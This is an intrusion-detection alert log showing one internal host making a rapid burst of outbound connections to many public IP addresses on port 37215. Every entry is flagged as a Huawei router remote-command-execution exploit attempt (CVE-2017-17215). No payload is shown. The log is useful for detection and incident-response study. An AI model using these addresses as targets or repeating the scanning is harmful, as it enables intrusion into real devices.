2025-02-12T16:54:00.102557+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39534	197.65.56.200	37215	TCP
2025-02-12T16:54:00.102564+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41290	202.79.230.125	37215	TCP
2025-02-12T16:54:00.102566+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33882	157.110.113.230	37215	TCP
2025-02-12T16:54:00.102572+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42320	199.120.236.207	37215	TCP
2025-02-12T16:54:00.102576+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34120	145.188.94.167	37215	TCP
2025-02-12T16:54:00.102576+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38708	197.214.10.85	37215	TCP
2025-02-12T16:54:00.102579+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60656	157.174.223.243	37215	TCP
2025-02-12T16:54:00.102590+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45470	197.70.106.64	37215	TCP
2025-02-12T16:54:00.102590+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38582	41.131.165.152	37215	TCP
2025-02-12T16:54:00.102590+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33924	186.225.234.165	37215	TCP
2025-02-12T16:54:00.102593+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35122	197.89.63.213	37215	TCP
2025-02-12T16:54:00.102593+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59824	197.120.72.173	37215	TCP
2025-02-12T16:54:00.102603+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59906	197.216.233.128	37215	TCP
2025-02-12T16:54:00.102616+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56268	158.188.113.124	37215	TCP
2025-02-12T16:54:00.102618+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46924	197.238.177.53	37215	TCP
2025-02-12T16:54:00.102626+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37494	157.181.127.162	37215	TCP
2025-02-12T16:54:00.102633+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46300	41.90.242.126	37215	TCP
2025-02-12T16:54:00.102633+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36252	197.228.206.126	37215	TCP
2025-02-12T16:54:00.102637+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35418	41.76.165.47	37215	TCP
2025-02-12T16:54:00.102637+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58376	41.232.146.90	37215	TCP
2025-02-12T16:54:00.102640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52860	41.47.206.110	37215	TCP
2025-02-12T16:54:00.102640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38370	45.164.185.198	37215	TCP
2025-02-12T16:54:00.102651+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52044	157.132.83.108	37215	TCP
2025-02-12T16:54:00.102652+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45944	197.30.144.59	37215	TCP
2025-02-12T16:54:00.102652+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55772	197.50.248.108	37215	TCP
2025-02-12T16:54:00.102658+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44154	88.29.233.181	37215	TCP
2025-02-12T16:54:00.102661+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37426	157.1.52.7	37215	TCP
2025-02-12T16:54:00.102661+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34980	41.18.186.127	37215	TCP
2025-02-12T16:54:00.102666+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36936	197.55.152.209	37215	TCP
2025-02-12T16:54:00.102674+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59170	157.38.60.90	37215	TCP
2025-02-12T16:54:00.102678+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52560	157.189.85.19	37215	TCP
2025-02-12T16:54:00.102686+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46600	75.236.34.6	37215	TCP
2025-02-12T16:54:00.102688+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51142	62.176.252.139	37215	TCP
2025-02-12T16:54:00.102694+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38550	157.237.141.71	37215	TCP
2025-02-12T16:54:00.108935+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51362	35.208.86.83	37215	TCP
2025-02-12T16:54:00.111295+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34660	157.42.223.75	37215	TCP
2025-02-12T16:54:00.120147+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45558	197.144.215.153	37215	TCP
2025-02-12T16:54:00.120324+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47648	197.231.79.74	37215	TCP
2025-02-12T16:54:00.135899+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34506	41.99.219.201	37215	TCP
2025-02-12T16:54:00.136058+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44662	157.94.145.117	37215	TCP
2025-02-12T16:54:00.169157+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40666	197.123.168.71	37215	TCP
2025-02-12T16:54:00.173023+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46276	197.94.221.201	37215	TCP
2025-02-12T16:54:00.276652+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41632	157.48.51.30	37215	TCP
2025-02-12T16:54:00.294091+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52240	192.193.80.72	37215	TCP
2025-02-12T16:54:00.307858+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38596	157.61.248.168	37215	TCP
2025-02-12T16:54:00.464154+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46352	157.102.240.14	37215	TCP
2025-02-12T16:54:00.466140+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50232	197.97.121.60	37215	TCP
2025-02-12T16:54:00.467979+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38014	157.202.41.254	37215	TCP
2025-02-12T16:54:00.468063+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48222	41.112.152.191	37215	TCP
2025-02-12T16:54:00.469788+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45580	165.29.123.180	37215	TCP
2025-02-12T16:54:00.481973+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41034	171.172.43.134	37215	TCP
2025-02-12T16:54:00.557756+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43436	157.241.134.102	37215	TCP
2025-02-12T16:54:01.057887+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44438	41.47.241.73	37215	TCP
2025-02-12T16:54:01.058697+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54358	197.168.164.89	37215	TCP
2025-02-12T16:54:01.073727+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44132	113.238.86.46	37215	TCP
2025-02-12T16:54:01.073886+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57290	157.11.136.214	37215	TCP
2025-02-12T16:54:01.091035+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57280	20.6.148.23	37215	TCP
2025-02-12T16:54:01.091098+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41488	157.147.1.197	37215	TCP
2025-02-12T16:54:01.093033+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34380	41.129.10.116	37215	TCP
2025-02-12T16:54:01.093124+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33786	41.232.169.147	37215	TCP
2025-02-12T16:54:01.105381+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34008	41.200.176.26	37215	TCP
2025-02-12T16:54:01.110464+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55084	143.66.141.44	37215	TCP
2025-02-12T16:54:01.136012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42892	41.94.84.203	37215	TCP
2025-02-12T16:54:01.136727+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41376	41.46.233.105	37215	TCP
2025-02-12T16:54:01.167337+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33710	193.28.190.148	37215	TCP
2025-02-12T16:54:01.168163+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33562	197.104.202.199	37215	TCP
2025-02-12T16:54:01.168163+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35418	197.172.228.160	37215	TCP
2025-02-12T16:54:01.172790+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54730	157.143.24.121	37215	TCP
2025-02-12T16:54:01.184496+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49466	197.50.115.190	37215	TCP
2025-02-12T16:54:01.186256+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56182	157.157.154.29	37215	TCP
2025-02-12T16:54:01.199040+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38952	157.250.93.33	37215	TCP
2025-02-12T16:54:01.265154+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60152	197.152.83.218	37215	TCP
2025-02-12T16:54:01.282285+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46624	174.40.55.70	37215	TCP
2025-02-12T16:54:01.292206+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57126	41.44.29.147	37215	TCP
2025-02-12T16:54:01.294248+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33690	41.95.98.29	37215	TCP
2025-02-12T16:54:01.308191+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50284	197.105.183.186	37215	TCP
2025-02-12T16:54:01.309034+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33556	157.216.93.235	37215	TCP
2025-02-12T16:54:01.309038+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47904	204.61.207.202	37215	TCP
2025-02-12T16:54:01.346053+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54374	41.177.139.6	37215	TCP
2025-02-12T16:54:01.346105+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49944	152.241.227.249	37215	TCP
2025-02-12T16:54:01.347462+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52748	41.178.233.159	37215	TCP
2025-02-12T16:54:01.347495+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45758	195.106.111.175	37215	TCP
2025-02-12T16:54:01.347780+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42268	140.255.62.196	37215	TCP
2025-02-12T16:54:01.354907+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36450	157.195.146.67	37215	TCP
2025-02-12T16:54:01.356589+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46282	76.172.44.244	37215	TCP
2025-02-12T16:54:01.386270+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32894	187.161.208.7	37215	TCP
2025-02-12T16:54:01.390006+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40152	197.206.221.57	37215	TCP
2025-02-12T16:54:01.390974+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44788	197.126.24.251	37215	TCP
2025-02-12T16:54:01.401748+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60436	197.145.99.245	37215	TCP
2025-02-12T16:54:01.421151+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46748	197.82.214.201	37215	TCP
2025-02-12T16:54:01.450194+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44818	197.57.198.107	37215	TCP
2025-02-12T16:54:01.452467+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58390	129.187.183.48	37215	TCP
2025-02-12T16:54:01.464164+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41174	197.186.14.104	37215	TCP
2025-02-12T16:54:01.467880+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36548	41.130.192.62	37215	TCP
2025-02-12T16:54:01.483501+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39816	41.96.20.130	37215	TCP
2025-02-12T16:54:02.089282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48874	157.235.28.201	37215	TCP
2025-02-12T16:54:02.089372+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58822	197.63.201.38	37215	TCP
2025-02-12T16:54:02.091029+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60910	41.250.53.45	37215	TCP
2025-02-12T16:54:02.107902+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52276	140.93.71.44	37215	TCP
2025-02-12T16:54:02.110415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38410	157.100.46.52	37215	TCP
2025-02-12T16:54:02.120637+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44586	197.54.106.148	37215	TCP
2025-02-12T16:54:02.124124+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49698	41.238.224.83	37215	TCP
2025-02-12T16:54:02.137916+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42600	197.232.9.98	37215	TCP
2025-02-12T16:54:02.153481+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41218	134.130.218.228	37215	TCP
2025-02-12T16:54:02.169244+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48192	157.182.69.22	37215	TCP
2025-02-12T16:54:02.171232+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47948	197.48.35.125	37215	TCP
2025-02-12T16:54:02.183119+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34314	181.42.16.240	37215	TCP
2025-02-12T16:54:02.183223+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45206	54.89.85.247	37215	TCP
2025-02-12T16:54:02.184994+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53158	14.121.142.220	37215	TCP
2025-02-12T16:54:02.198760+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57104	197.216.60.225	37215	TCP
2025-02-12T16:54:02.233759+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48354	157.246.85.153	37215	TCP
2025-02-12T16:54:02.247591+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49038	157.97.241.15	37215	TCP
2025-02-12T16:54:02.263111+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38884	157.92.171.34	37215	TCP
2025-02-12T16:54:02.292405+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35470	17.173.106.87	37215	TCP
2025-02-12T16:54:02.292968+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40256	41.179.156.177	37215	TCP
2025-02-12T16:54:02.307943+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44296	62.115.193.47	37215	TCP
2025-02-12T16:54:02.308135+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48792	197.34.206.115	37215	TCP
2025-02-12T16:54:02.309919+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37892	155.156.162.155	37215	TCP
2025-02-12T16:54:02.347307+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39310	41.248.40.62	37215	TCP
2025-02-12T16:54:02.354983+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49130	41.109.60.35	37215	TCP
2025-02-12T16:54:02.356617+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59736	197.159.203.220	37215	TCP
2025-02-12T16:54:02.390095+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44046	157.244.95.254	37215	TCP
2025-02-12T16:54:02.391009+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47834	197.233.103.224	37215	TCP
2025-02-12T16:54:02.407363+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44006	197.19.187.40	37215	TCP
2025-02-12T16:54:02.433093+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38148	41.197.244.50	37215	TCP
2025-02-12T16:54:02.449255+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37874	88.42.22.104	37215	TCP
2025-02-12T16:54:02.464344+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33694	157.69.107.162	37215	TCP
2025-02-12T16:54:02.466100+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51930	197.160.135.175	37215	TCP
2025-02-12T16:54:03.105636+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47070	197.154.146.38	37215	TCP
2025-02-12T16:54:03.120614+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39570	41.85.30.222	37215	TCP
2025-02-12T16:54:03.120696+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60354	197.1.126.130	37215	TCP
2025-02-12T16:54:03.120722+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51834	54.223.233.38	37215	TCP
2025-02-12T16:54:03.120852+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59212	2.210.41.53	37215	TCP
2025-02-12T16:54:03.120958+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48860	157.206.40.44	37215	TCP
2025-02-12T16:54:03.121125+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46522	41.208.150.105	37215	TCP
2025-02-12T16:54:03.122179+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47266	41.166.128.108	37215	TCP
2025-02-12T16:54:03.139788+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52144	180.76.240.152	37215	TCP
2025-02-12T16:54:03.139836+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50334	157.170.227.87	37215	TCP
2025-02-12T16:54:03.140240+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44682	157.176.149.201	37215	TCP
2025-02-12T16:54:03.151851+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54684	197.219.51.234	37215	TCP
2025-02-12T16:54:03.151893+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44414	157.12.164.48	37215	TCP
2025-02-12T16:54:03.156425+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36354	197.183.237.219	37215	TCP
2025-02-12T16:54:03.167364+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44092	197.71.200.113	37215	TCP
2025-02-12T16:54:03.169015+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39368	157.169.36.224	37215	TCP
2025-02-12T16:54:03.184664+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52310	84.142.29.183	37215	TCP
2025-02-12T16:54:03.198786+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57510	41.64.89.244	37215	TCP
2025-02-12T16:54:03.214222+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37810	157.191.39.247	37215	TCP
2025-02-12T16:54:03.214328+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35916	41.215.213.54	37215	TCP
2025-02-12T16:54:03.229838+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40548	157.193.36.205	37215	TCP
2025-02-12T16:54:03.229860+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40430	197.97.115.241	37215	TCP
2025-02-12T16:54:03.245344+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37600	197.217.181.21	37215	TCP
2025-02-12T16:54:03.278542+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49094	41.191.220.61	37215	TCP
2025-02-12T16:54:03.292449+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56150	41.44.56.242	37215	TCP
2025-02-12T16:54:03.307870+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58854	54.174.214.46	37215	TCP
2025-02-12T16:54:03.308693+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59954	197.110.92.209	37215	TCP
2025-02-12T16:54:03.354918+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52964	197.231.226.170	37215	TCP
2025-02-12T16:54:03.360628+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37750	157.200.49.231	37215	TCP
2025-02-12T16:54:03.370678+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45444	41.251.2.255	37215	TCP
2025-02-12T16:54:03.390237+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55898	41.153.101.239	37215	TCP
2025-02-12T16:54:04.167456+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33516	162.103.119.194	37215	TCP
2025-02-12T16:54:04.183042+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48896	157.101.115.24	37215	TCP
2025-02-12T16:54:04.185209+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51110	157.147.44.232	37215	TCP
2025-02-12T16:54:04.187039+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40470	191.27.6.248	37215	TCP
